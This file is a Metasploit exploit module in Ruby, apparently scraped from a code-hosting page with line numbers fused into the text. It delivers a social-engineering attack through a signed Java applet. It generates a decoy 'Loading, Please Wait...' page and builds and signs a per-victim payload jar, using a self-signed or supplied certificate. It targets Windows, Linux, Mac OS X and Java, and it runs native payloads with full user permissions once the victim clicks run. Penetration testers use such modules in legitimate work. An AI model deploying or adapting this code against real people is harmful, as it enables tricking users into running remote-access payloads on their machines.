Path: blob/master/modules/exploits/multi/browser/java_signed_applet.rb
31527 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpServer::HTML11include Msf::Exploit::EXE1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java Signed Applet Social Engineering Code Execution',18'Description' => %q{19This exploit dynamically creates a .jar file via the20Msf::Exploit::Java mixin, then signs the it. The resulting21signed applet is presented to the victim via a web page with22an applet tag. The victim's JVM will pop a dialog asking if23they trust the signed applet.2425On older versions the dialog will display the value of CERTCN26in the "Publisher" line. Newer JVMs display "UNKNOWN" when the27signature is not trusted (i.e., it's not signed by a trusted28CA). The SigningCert option allows you to provide a trusted29code signing cert, the values in which will override CERTCN.30If SigningCert is not given, a randomly generated self-signed31cert will be used.3233Either way, once the user clicks "run", the applet executes34with full user permissions.35},36'License' => MSF_LICENSE,37'Author' => [ 'natron' ],38'References' => [39[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]40],41'Payload' => { 'BadChars' => '', 'DisableNops' => true },42'Targets' => [43[44'Generic (Java Payload)',45{46'Platform' => ['java'],47'Arch' => ARCH_JAVA48}49],50[51'Windows x86 (Native Payload)',52{53'Platform' => 'win',54'Arch' => ARCH_X8655}56],57[58'Linux x86 (Native Payload)',59{60'Platform' => 'linux',61'Arch' => ARCH_X8662}63],64[65'Mac OS X PPC (Native Payload)',66{67'Platform' => 'osx',68'Arch' => ARCH_PPC69}70],71[72'Mac OS X x86 (Native Payload)',73{74'Platform' => 'osx',75'Arch' => ARCH_X8676}77]78],79'DefaultTarget' => 1,80'DisclosureDate' => '1997-02-19',81'Notes' => {82'Reliability' => UNKNOWN_RELIABILITY,83'Stability' => UNKNOWN_STABILITY,84'SideEffects' => UNKNOWN_SIDE_EFFECTS85}86)87)8889register_options([90OptString.new('CERTCN', [91true,92"The CN= value for the certificate. Cannot contain ',' or '/'",93'SiteLoader'94]),95OptString.new('APPLETNAME', [96true,97"The main applet's class name.",98'SiteLoader'99]),100OptPath.new('SigningCert', [101false,102'Path to a signing certificate in PEM or PKCS12 (.pfx) format'103]),104OptPath.new('SigningKey', [105false,106'Path to a signing key in PEM format'107]),108OptString.new('SigningKeyPass', [109false,110'Password for signing key (required if SigningCert is a .pfx)'111]),112])113end114115def setup116load_cert117load_applet_class118super119end120121def on_request_uri(cli, request)122if !request.uri.match(/\.jar$/i)123if !request.uri.match(%r{/$})124send_redirect(cli, get_resource + '/', '')125return126end127128print_status('Handling request')129130send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })131return132end133134p = regenerate_payload(cli)135if !p136print_error('Failed to generate the payload.')137# Send them a 404 so the browser doesn't hang waiting for data138# that will never come.139send_not_found(cli)140return141end142143# If we haven't returned yet, then this is a request for our applet144# jar, build one for this victim.145jar = p.encoded_jar(random: true)146147jar.add_file("#{datastore['APPLETNAME']}.class", @applet_class)148149jar.build_manifest(main_class: 'metasploit.Payload', app_name: "#{datastore['APPLETNAME']}")150151jar.sign(@key, @cert, @ca_certs)152# File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }153154print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")155send_response(cli, jar.to_s, { 'Content-Type' => 'application/octet-stream' })156157handler(cli)158end159160def load_applet_class161data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)162if datastore['APPLETNAME']163unless datastore['APPLETNAME'] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/164fail_with(Failure::BadConfig, 'APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)')165end166siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }167# Java strings are prefixed with a 2-byte, big endian length168find_me = ['SiteLoader'.length].pack('n') + 'SiteLoader'169idx = siteloader.index(find_me)170len = [datastore['APPLETNAME'].length].pack('n')171# Now replace it with the new class name172siteloader[idx, 'SiteLoader'.length + 2] = len + datastore['APPLETNAME']173else174# Don't need to replace anything, just read it in175siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }176end177@applet_class = siteloader178end179180def load_cert181if datastore['SigningCert']182cert_str = File.open(datastore['SigningCert'], 'rb') { |fd| fd.read(fd.stat.size) }183begin184pfx = OpenSSL::PKCS12.new(cert_str, datastore['SigningKeyPass'])185@cert = pfx.certificate186@key = pfx.key187@ca_certs = pfx.ca_certs188rescue OpenSSL::PKCS12::PKCS12Error189# it wasn't pkcs12, try it as concatenated PEMs190certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)191@cert = OpenSSL::X509::Certificate.new(certs.shift)192@ca_certs = nil193while certs.length > 0194@ca_certs ||= []195@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)196end197198if datastore['SigningKey'] and File.file?(datastore['SigningKey'])199File.open(datastore['SigningKey'], 'rb') { |fd| fd.read(fd.stat.size) }200else201cert_str202end203204# First try it as RSA and fallback to DSA if that doesn't work205begin206@key = OpenSSL::PKey::RSA.new(cert_str, datastore['SigningKeyPass'])207rescue OpenSSL::PKey::RSAError208@key = OpenSSL::PKey::DSA.new(cert_str, datastore['SigningKeyPass'])209end210end211else212# Name.parse uses a simple regex that isn't smart enough to allow213# slashes or commas in values, just remove them.214certcn = datastore['CERTCN'].gsub(%r{[/,]}, '')215x509_name = OpenSSL::X509::Name.parse(216"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"217)218219@key = OpenSSL::PKey::DSA.new(1024)220@cert = OpenSSL::X509::Certificate.new221@cert.version = 2222@cert.serial = 1223@cert.subject = x509_name224@cert.issuer = x509_name225@cert.public_key = @key.public_key226@cert.not_before = Time.now227# FIXME: this will break in the year 2037 on 32-bit systems228@cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year229end230end231232def generate_html233html = %(<html><head><title>Loading, Please Wait...</title></head>\n)234html << %(<body><center><p>Loading, Please Wait...</p></center>\n)235html << %(<applet archive="#{get_resource.sub(%r{/$}, '')}/#{datastore['APPLETNAME']}.jar"\n)236vprint_line(html)237if @use_static238html << %( code="SiteLoader" width="1" height="1">\n)239else240html << %( code="#{datastore['APPLETNAME']}" width="1" height="1">\n)241end242html << %(</applet>\n</body></html>)243return html244end245246# Currently unused until we ship a java compiler of some sort247def applet_code248<<~EOS249import java.applet.*;250import metasploit.*;251252public class #{datastore['APPLETNAME']} extends Applet {253public void init() {254try {255Payload.main(null);256} catch (Exception ex) {257//ex.printStackTrace();258}259}260}261EOS262end263end264265=begin266267The following stores a bunch of intermediate files on the path to creating the signature. The268ImportKey class used for testing was obtained from:269http://www.agentbob.info/agentbob/79-AB.html270271system("rm -rf signed_jar/*")272File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }273File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }274File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }275276File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }277system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")278system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")279system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")280system("mv ~/keystore.ImportKey ~/.keystore")281system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")282283jar.sign(@key, @cert)284File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }285286=end287288289